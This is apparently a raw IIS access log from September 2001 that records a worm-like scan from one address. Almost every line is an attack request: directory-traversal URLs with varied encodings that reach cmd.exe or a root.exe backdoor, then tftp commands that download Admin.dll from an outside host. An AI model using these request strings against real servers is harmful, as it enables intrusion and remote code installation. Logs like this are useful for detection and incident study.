20010921 17:31:03:  [216.167.127.45] "GET /scripts/root.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
20010921 17:31:03:  [216.167.127.45] "GET /scripts/Admin.dll HTTP/1.0"
20010921 17:31:04:  [216.167.127.45] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
20010921 17:31:06:  [216.167.127.45] "GET /MSADC/root.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
20010921 17:31:07:  [216.167.127.45] "GET /MSADC/Admin.dll HTTP/1.0"
20010921 17:31:08:  [216.167.127.45] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:08:  [216.167.127.45] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:09:  [216.167.127.45] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:09:  [216.167.127.45] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:09:  [216.167.127.45] "GET /c/Admin.dll HTTP/1.0"
20010921 17:31:10:  [216.167.127.45] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:10:  [216.167.127.45] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:11:  [216.167.127.45] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:12:  [216.167.127.45] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:13:  [216.167.127.45] "GET /d/Admin.dll HTTP/1.0"
20010921 17:31:13:  [216.167.127.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:14:  [216.167.127.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:15:  [216.167.127.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:16:  [216.167.127.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:16:  [216.167.127.45] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
20010921 17:31:17:  [216.167.127.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:18:  [216.167.127.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:20:  [216.167.127.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:20:  [216.167.127.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:21:  [216.167.127.45] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
20010921 17:31:21:  [216.167.127.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:22:  [216.167.127.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:22:  [216.167.127.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:23:  [216.167.127.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:24:  [216.167.127.45] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
20010921 17:31:26:  [216.167.127.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:26:  [216.167.127.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:27:  [216.167.127.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:28:  [216.167.127.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:29:  [216.167.127.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
20010921 17:31:30:  [216.167.127.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:31:  [216.167.127.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:32:  [216.167.127.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:33:  [216.167.127.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:34:  [216.167.127.45] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
20010921 17:31:35:  [216.167.127.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:36:  [216.167.127.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:37:  [216.167.127.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:38:  [216.167.127.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:38:  [216.167.127.45] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
20010921 17:31:39:  [216.167.127.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:39:  [216.167.127.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:40:  [216.167.127.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:41:  [216.167.127.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:41:  [216.167.127.45] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
20010921 17:31:43:  [216.167.127.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:44:  [216.167.127.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:45:  [216.167.127.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:45:  [216.167.127.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:46:  [216.167.127.45] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
20010921 17:31:47:  [216.167.127.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:49:  [216.167.127.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:49:  [216.167.127.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:50:  [216.167.127.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:51:  [216.167.127.45] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
20010921 17:31:52:  [216.167.127.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:53:  [216.167.127.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:31:53:  [216.167.127.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:31:54:  [216.167.127.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:31:57:  [216.167.127.45] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
20010921 17:31:58:  [216.167.127.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:31:59:  [216.167.127.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:32:00:  [216.167.127.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:32:00:  [216.167.127.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:32:01:  [216.167.127.45] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
20010921 17:32:02:  [216.167.127.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20010921 17:32:03:  [216.167.127.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
20010921 17:32:04:  [216.167.127.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
20010921 17:32:04:  [216.167.127.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.242.194.202%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
20010921 17:32:05:  [216.167.127.45] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
20010921 17:32:06: ip74.88.susc.suscom.net [64.78.88.74] "GET /scripts/root.exe?/c+dir HTTP/1.0"